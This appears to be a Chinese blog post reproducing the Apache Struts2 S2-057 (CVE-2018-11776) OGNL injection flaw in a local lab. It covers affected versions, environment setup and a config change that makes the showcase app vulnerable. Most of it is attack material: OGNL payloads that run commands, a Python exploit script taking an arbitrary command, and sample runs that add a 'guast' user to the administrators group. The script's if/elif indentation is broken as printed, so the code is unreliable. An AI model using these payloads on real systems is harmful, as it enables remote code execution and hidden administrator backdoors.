CVE-2018-11776漏洞从搭建到复现

Struts2-057(CVE-2018-11776)漏洞从搭建到复现

村里刚通网,出来这么久了才做复现。

漏洞概述

2018年8月23日,ApacheStrust2发布最新安全公告,ApacheStruts2 存在远程代码执行的高危漏洞,该漏洞由SemmleSecurity Researchteam的安全研究员汇报,漏洞编号为CVE-2018-11776(S2-057)。

定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。
url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。

影响范围

受影响版本
Struts2.3 – 2.3.34
Struts2.5 – 2.5.16

不受影响版本
Struts 2.3.35
Struts 2.5.17

漏洞复现

复现环境:
windows 7
jdk1.8.0_91
apache-tomcat-7.0.92
struts-2.3.34
环境搭建:
先安装jdk环境,配置java环境变量。
下载apache-tomcat-7.0.92,下载地址:https://tomcat.apache.org/download-70.cgi
我下载的windows 64的压缩包。将tomcat解压

下载Struts-2.3.34,下载地址:http://archive.apache.org/dist/struts/2.3.34/
选择第一个struts-2.3.34-all.zip

将压缩包里的struts2-showcase.war放至在tomcat下的webapps目录下进行自动部署

在tomcat下bin目录下运行startup.bat脚本就可以自动运行tomcat来部署struts2了。
成功部署完成后我们在浏览器中输入http://127.0.0.1:8080/struts2-showcase 就可以部署成功了。

正常部署完成struts如上所示,但为了复现struts2-057漏洞。我们的满足跳转的条件。故此我们的进行修改默认的action控制器来设置跳转的逻辑。方便我们复现漏洞。
需要修改的地方有两处,两个文件都修改:
1、D:\tomcat\webapps\struts2-showcase\WEB-INF\src\java\struts-actionchaining.xml
2、D:\tomcat\webapps\struts2-showcase\WEB-INF\classes\struts-actionchaining.xml
我们注释掉原来的xml文件。修改为如下所示:

修改后代码如下:

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
            <result type="redirectAction">
            <param name = "actionName">register2</param>
            </result>    
        </action>
        <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
            <result type="chain">actionChain3</result>
        </action>
        <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
            <result>/WEB-INF/actionchaining/actionChainingResult.jsp</result>
        </action>
    </package>
</struts>

漏洞验证

构造payload:

http://127.0.0.1:8080/struts2-showcase/${(222+333)}/actionChain1.action

执行完成之后发现跳转到了http://127.0.0.1:8080/struts2-showcase/555/register2.action
说明存在OGNL注入。证明漏洞存在。
随后在进行调用本地计算器命令来测试。
Payload如下所示:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}

执行之前我们先进行URL编码得到如下:

%24%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%63%6d%64%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%29%7d

拼接如下的url进行测试:

127.0.0.1:8080/struts2-showcase/%24%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%63%6d%64%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%29%7d/actionChain1.action

成功调用本地计算器。

exp:

#coding: utf-8
import requests
import sys

def expliot(host, command, path):
    '''
    2.3.34版本
    payload1:
    ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()))).(#w.close())}

    2.3.20版本
    payload2:
    ${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()))).(#w.close())}
    '''

    str1 = "${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('"+command+"').getInputStream()))).(#w.close())}"
    str1 = str1.encode('hex')
    str2 = "${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('"+command+"').getInputStream()))).(#w.close())}"
    str2 = str2.encode('hex')

    #需要进行URL编码
    payload1 = ""
    for i in range(0,len(str1),2):
        payload1 += '%'+str1[i:i+2]

    payload2 = ""
    for i in range(0,len(str2),2):
        payload2 += '%'+str2[i:i+2]

    url1 = host+'/'+payload1+'/'+path
    url2 = host+'/'+payload2+'/'+path

    res1 = requests.get(url1, allow_redirects=False)
    res2 = requests.get(url2, allow_redirects=False)
    if res1.status_code == 200 and res2.status_code != 200:
        print "Exploit successful:"
    print res1.content
    elif res2.status_code == 200 and res1.status_code != 200:
    print "Exploit successful:"
    print res2.content
    else:
    print('The target is likely unvulnerable,mabye your struts2 version is too high!')

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print("Usage: python s2-057-exp.py http://www.xxx.com/ {command} {The path such as:actionChain1.action}")
    else:
        expliot(sys.argv[1].strip(), sys.argv[2], sys.argv[3].strip())
python s2_057_exp.py http://192.168.123.207:8080/struts2-showcase/ "ipconfig" actionChain1.action
python s2_057_exp.py http://192.168.123.207:8080/struts2-showcase/ "net user guast Admin123a /add" actionChain1.action
python s2_057_exp.py http://192.168.123.207:8080/struts2-showcase/ "net localgroup administrators guast /add" actionChain1.action